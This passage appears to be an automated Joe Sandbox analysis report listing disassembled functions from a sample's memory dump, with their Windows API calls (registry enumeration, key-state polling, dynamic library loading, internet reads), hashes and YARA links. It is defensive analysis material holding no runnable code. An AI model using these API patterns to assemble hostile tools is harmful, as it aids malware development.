Instruction ID: 3fc9c2c3f79e20dffeece5f7ea93a9ec43dc87c1c4a20fa0d8ae64f0b6c68eee
Opcode Fuzzy Hash: 58244e970a94375ca0cc0f7253ad572fce8c06ce406c8e6f412cae04df75b18c
Instruction Fuzzy Hash: 8651FB71A0420DAFCB14EF69DD81AEEB7BDEF81320B50026AE464D7291DB305DD19B90

Function 0094E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0094DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0094CF22,?), ref: 0094DDFD

Part of subcall function 0094DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0094CF22,?), ref: 0094DE16

Part of subcall function 0094E199: GetFileAttributesW.KERNEL32(?,0094CF95), ref: 0094E19A

lstrcmpiW.KERNEL32(?,?), ref: 0094E473
MoveFileW.KERNEL32(?,?), ref: 0094E4AC
_wcslen.LIBCMT ref: 0094E5EB
_wcslen.LIBCMT ref: 0094E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0094E650

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 9f6c1766c7a2a44c2da834fc5e14c38b8862c44e0171a55c23eba1802a0cfa4b
Instruction ID: e9473261fdd93ba8545e45f322a37ad79ed80da8d2733ac3c4d63a618d192773
Opcode Fuzzy Hash: 9f6c1766c7a2a44c2da834fc5e14c38b8862c44e0171a55c23eba1802a0cfa4b
Instruction Fuzzy Hash: 415142B25083859FC724EB94D881EDB73ECAFC5344F00492EF589D3191EF74A6888B66

Function 0096B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 008E9CB3: _wcslen.LIBCMT ref: 008E9CBD

Part of subcall function 0096C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0096B6AE,?,?), ref: 0096C9B5
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096C9F1
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096CA68
Part of subcall function 0096C998: _wcslen.LIBCMT ref: 0096CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0096BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0096BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0096BB63
RegCloseKey.ADVAPI32(?,?), ref: 0096BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0096BBB3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 4a0f262cdbe0a7194bd35e85f7f8860695b8bfd8e44d0b93b36706eb8d66a3cc
Instruction ID: 41ffa0ac3c58f5a31d5c35a934f2591b661aa18d6d438e29b8bfcbc774874026
Opcode Fuzzy Hash: 4a0f262cdbe0a7194bd35e85f7f8860695b8bfd8e44d0b93b36706eb8d66a3cc
Instruction Fuzzy Hash: 6861A571208241EFD714DF64C490E2ABBE9FF85308F54895DF4998B2A2DB31ED85CB92

Function 00948BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00948BCD
VariantClear.OLEAUT32 ref: 00948C3E
VariantClear.OLEAUT32 ref: 00948C9D
VariantClear.OLEAUT32(?), ref: 00948D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00948D3B

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 3cf852498a87d3268a28c43d461dc22e1316ffeb8ae49efcf3658e20dc8faabb
Instruction ID: ffd74cbd23f28520895da62d29f543abdc9f365aeadb25c0ba12d4846798491c
Opcode Fuzzy Hash: 3cf852498a87d3268a28c43d461dc22e1316ffeb8ae49efcf3658e20dc8faabb
Instruction Fuzzy Hash: 3B5166B5A11219EFCB14CF68C884EAAB7F9FF89314B158569E909DB350E730E911CF90

Function 00958AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00958BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00958BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00958C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00958C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00958C5F

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: f04ddefb088378d648e6e3c0aea83d00e60847b84f33c43e6035f6e443896ff1
Instruction ID: 66eb0723636257dc6f377df85f4e3a44e70e1f3f7b7e059845dac0e0a6d25ba7
Opcode Fuzzy Hash: f04ddefb088378d648e6e3c0aea83d00e60847b84f33c43e6035f6e443896ff1
Instruction Fuzzy Hash: 9D516A75A00618AFCB00DF69C881E6EBBF5FF49314F088458E949AB362DB31ED55CB91

Function 00968EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00968F40
GetProcAddress.KERNEL32(00000000,?), ref: 00968FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00968FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00969032
FreeLibrary.KERNEL32(00000000), ref: 00969052

Part of subcall function 008FF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00951043,?,7529E610), ref: 008FF6E6
Part of subcall function 008FF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0093FA64,00000000,00000000,?,?,00951043,?,7529E610,?,0093FA64), ref: 008FF70D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: 9b530801b5d030da46b6d97ba8388706b7607cea4ced25ca85ea21701ed36ac7
Instruction ID: 83f33f62c28d1a3d5f42122b8d983ae3e3bb1acf995dca8aa8e669037729f2c8
Opcode Fuzzy Hash: 9b530801b5d030da46b6d97ba8388706b7607cea4ced25ca85ea21701ed36ac7
Instruction Fuzzy Hash: F6516C75604245DFCB11DF68C4848AEBBF5FF49314B0481A8E91AAB362DB31ED86CF91

Function 00976B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00976C33
SetWindowLongW.USER32(?,000000EC,?), ref: 00976C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00976C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0095AB79,00000000,00000000), ref: 00976C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00976CC7

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 29518683dc28477fadfdf0618a55f108b876532efad19e263f6d533460b5ab88
Instruction ID: d8bd65c58a868f4993ae148e7125fd22bf702a0566507ddfe48353d7562d2d2c
Opcode Fuzzy Hash: 29518683dc28477fadfdf0618a55f108b876532efad19e263f6d533460b5ab88
Instruction Fuzzy Hash: 5D41E777604504AFD725CF38CD55FA57BA8EB49360F188268FADDA72E0C371AD40DA40

Function 00912051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009120C3
_free.LIBCMT ref: 009120E3

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 2b53926a9be1023dda11871d9db60cdd6bd1150319a7a5be4906875e124b4664
Instruction ID: c5a4f5dcaee2ca2689019592483eb93582e0049e335b730cbc4b0dfc32732bb6
Opcode Fuzzy Hash: 2b53926a9be1023dda11871d9db60cdd6bd1150319a7a5be4906875e124b4664
Instruction Fuzzy Hash: E141D472B00208AFCB24EF78C881A9DB7E5EF89314F1545A8E615EB352DB31AD51CB81

Function 008F912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 008F9141
ScreenToClient.USER32(00000000,?), ref: 008F915E
GetAsyncKeyState.USER32(00000001), ref: 008F9183
GetAsyncKeyState.USER32(00000002), ref: 008F919D

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 04dc9d99c4b5fba8118a0285374e87ad2de83079df2cecd65a58c1f06078ff83
Instruction ID: 372609fdf46f986840249a3f9afecb65ccc7f93b222083d6bb3485594fac30f4
Opcode Fuzzy Hash: 04dc9d99c4b5fba8118a0285374e87ad2de83079df2cecd65a58c1f06078ff83
Instruction Fuzzy Hash: B8415F7290C60AFBDF159FA8C844BFEB775FB05324F208229E569A2290C7346990DF91

Function 00953874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 009538CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00953922
TranslateMessage.USER32(?), ref: 0095394B
DispatchMessageW.USER32(?), ref: 00953955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00953966

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: b10e136616e899a913842398df942c622b06d3912278e73b646912fe3047a2fc
Instruction ID: 45bb1d557467f7a6f4c7f71bd1c91995250b20be7c7d213e9c8602aed78f7a02
Opcode Fuzzy Hash: b10e136616e899a913842398df942c622b06d3912278e73b646912fe3047a2fc
Instruction Fuzzy Hash: F631E8B051C345DFEB39CB369968BB637ECEB01392F44855DE856C20A0E7B49688DB11

Function 0095CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0095C21E,00000000), ref: 0095CF38
InternetReadFile.WININET(?,00000000,?,?), ref: 0095CF6F
GetLastError.KERNEL32(?,00000000,?,?,?,0095C21E,00000000), ref: 0095CFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,0095C21E,00000000), ref: 0095CFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,0095C21E,00000000), ref: 0095CFF2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 3a8c0174b841152a7d3ba84b7ff2021a4f06adc62c512170bd41ba809454db83
Instruction ID: 508432495633dd653762fe38d44115f80a5e54342a25c66874692da89165a47c
Opcode Fuzzy Hash: 3a8c0174b841152a7d3ba84b7ff2021a4f06adc62c512170bd41ba809454db83
Instruction Fuzzy Hash: AF317FB1604305AFDB24DFA6C8849ABBBFDFF04352B10442EF916D2101DB30ED449B60

Function 00941901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00941915
PostMessageW.USER32(00000001,00000201,00000001), ref: 009419C1
Sleep.KERNEL32(00000000,?,?,?), ref: 009419C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 009419DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 009419E2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: a286c5a6f86b50f3e15dc8a40ad3c192255ce75d9e8dac6e4e6035766e7cafd0
Instruction ID: fe1e6838e1c0f325e64d3272efd3ff774aba08150a079763539a274a42582389
Opcode Fuzzy Hash: a286c5a6f86b50f3e15dc8a40ad3c192255ce75d9e8dac6e4e6035766e7cafd0
Instruction Fuzzy Hash: 7E31C072A14219EFCB04CFA8DD99EDE3BB5EB44315F104229F925AB2D1C7709984DB90

Function 00975706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00975745
SendMessageW.USER32(?,00001074,?,00000001), ref: 0097579D
_wcslen.LIBCMT ref: 009757AF
_wcslen.LIBCMT ref: 009757BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 00975816

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 942df0691dac8faaf143383c369292fb61458ee1d6410036df732944cbd4360b
Instruction ID: 8b12277b6bb1fb7b13b0bf8a6a7f1b1b98bdbd5637d28e09b52daea4f56f6940
Opcode Fuzzy Hash: 942df0691dac8faaf143383c369292fb61458ee1d6410036df732944cbd4360b
Instruction Fuzzy Hash: 3121D2729046089ADB609FA0CC85AEE77BCFF40720F10C21AEA2DEA1C0D7B08981CF50

Function 008F990E Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 008F98CC
SetTextColor.GDI32(?,?), ref: 008F98D6
SetBkMode.GDI32(?,00000001), ref: 008F98E9
GetStockObject.GDI32(00000005), ref: 008F98F1
GetWindowLongW.USER32(?,000000EB), ref: 008F9952

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Color$LongModeObjectStockTextWindow
String ID:
API String ID: 1860813098-0
Opcode ID: 2cca7308e0a7a1e92971f92b2c22714d13db947240e10683488c91424a150298
Instruction ID: d2f90b4038722319519e87bf04b57b334fdcc00cb3c661012061e361edde8d38
Opcode Fuzzy Hash: 2cca7308e0a7a1e92971f92b2c22714d13db947240e10683488c91424a150298
Instruction Fuzzy Hash: CA21F2726992449FC7228F74EC54BF93F60EB13331B04026DEA968A1A1C7764982DB51

Function 00960930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00960951
GetForegroundWindow.USER32 ref: 00960968
GetDC.USER32(00000000), ref: 009609A4
GetPixel.GDI32(00000000,?,00000003), ref: 009609B0
ReleaseDC.USER32(00000000,00000003), ref: 009609E8

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 48af42d596322861d6aff966ff588bd9b50558e3750bd2f8d0e5d52b1ee6e5b9
Instruction ID: dbe0de24ec2ff76db63024613189ebb2aa3f6e947fe944568d7bc7361ac94bf2
Opcode Fuzzy Hash: 48af42d596322861d6aff966ff588bd9b50558e3750bd2f8d0e5d52b1ee6e5b9
Instruction Fuzzy Hash: 58219F76600204AFD704EF69C985AAEBBE9EF85741F00842CE84AE7362CB70AD44DB50

Function 0091CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0091CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0091CDE9

Part of subcall function 00913820: RtlAllocateHeap.NTDLL(00000000,?,009B1444,?,008FFDF5,?,?,008EA976,00000010,009B1440,008E13FC,?,008E13C6,?,008E1129), ref: 00913852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0091CE0F
_free.LIBCMT ref: 0091CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0091CE31

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 1efa36b4a3ac340fbef68b5db0035eb72af6654fdef5d59d08fb27407d573a15
Instruction ID: 626ce74f738f4fc55736fc79b7a7c198e95748ace21371676416f041681a778a
Opcode Fuzzy Hash: 1efa36b4a3ac340fbef68b5db0035eb72af6654fdef5d59d08fb27407d573a15
Instruction Fuzzy Hash: A701F7F37452197F232116BA6C8DDBF7A6DDFC6BA1315012DFD09C7200EA608D8191B0

Function 008F9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 008F9693
SelectObject.GDI32(?,00000000), ref: 008F96A2
BeginPath.GDI32(?), ref: 008F96B9
SelectObject.GDI32(?,00000000), ref: 008F96E2

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772551373.00000000009B4000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8e0000_b29e59e54d.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 534cdf23a0c076e34f33359e2667e4a3741d971f3f39b10cda10b013eb272c40
Instruction ID: b4fb2abca25449fdf954f9d65f4212f9867786eae23d47584dce82b1d7dfd3cc
Opcode Fuzzy Hash: 534cdf23a0c076e34f33359e2667e4a3741d971f3f39b10cda10b013eb272c40
Instruction Fuzzy Hash: D121B07182A349EBDB119F68FD247B93BA8FB20366F50031AF554E60B0D3745881EF94

Function 00945711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00945726
_memcmp.LIBVCRUNTIME ref: 00945744
_memcmp.LIBVCRUNTIME ref: 00945757
_memcmp.LIBVCRUNTIME ref: 0094576F
_memcmp.LIBVCRUNTIME ref: 00945787

Memory Dump Source

Source File: 00000008.00000002.2772363585.00000000008E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000008.00000002.2772337179.00000000008E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.000000000097C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772441094.00000000009A2000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2772511430.00000000009AC000.00000004.00000001.01000000.0000000A.sdmpDownload File
